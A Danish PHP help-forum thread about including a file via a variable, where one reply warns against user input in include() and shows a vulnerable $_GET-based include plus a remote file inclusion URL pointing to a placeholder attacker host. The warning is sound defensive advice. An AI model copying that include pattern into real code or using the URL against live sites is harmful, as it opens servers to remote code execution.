Avatar billede danic Nybegynder
30. januar 2010 - 09:39 Der er 5 kommentarer og
1 løsning

Kan man include en variable?

Kan man include en variable?

F.eks.
<?php include('$frontpage_info'); ?>

Eller hvad gør man så?
Avatar billede intenz Novice
30. januar 2010 - 09:47 #1
Det kan du sagtens.
<?php
$minfil = "fil.php";
include($minfil);
?>
Avatar billede danic Nybegynder
30. januar 2010 - 09:55 #2
Ah..

Fejlen var: <?php include('$frontpage_info'); ?>
skulle være: <?php include($frontpage_info); ?>
Avatar billede intenz Novice
30. januar 2010 - 10:13 #3
Ja, når du bruger en variabel i en funktion, skal den altid indsættes uden '' omkring sig. Den slags er kun til tekst-strenge.
Avatar billede phliplip Nybegynder
30. januar 2010 - 11:21 #4
HUSK HUSK HUSK!

ALDRIG at bruge nogen form for bruger input - $_GET/$_POST/$_REQUEST/$_COOKIE etc i dine include/require.
Især hvis fopen_wrappers er enabled.

Jeg overtog på et tidspunkt en hjemmeside, hvor der pludselig begyndte at ligge ukendte mapper og filer på serveren.

Det viste sig at navigationen på siden var baseret på noget i stil med

include($_GET['side'] . '.php');

Så kan du forestille dig hvad der sker hvis man skriver

http://mitdomain.dk/index.php?side=http://hackerdomain.com/skadeligkode.php?a=

og skadeligkode.txt indeholder (i dette tilfælde uskadelig kode)

<?php phpinfo(); ?>
Avatar billede majbom Novice
30. januar 2010 - 20:11 #5
-> #4 - smart ;)
Avatar billede phliplip Nybegynder
31. januar 2010 - 05:10 #6
Ja det tog også lidt tid før jeg opdagede hvor det lå begravet.
Det var kun fordi jeg brugte flere timer i access-log'en at jeg fandt ud af det!

Det mest indlysende er jo at skifte FTP pass osv.
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester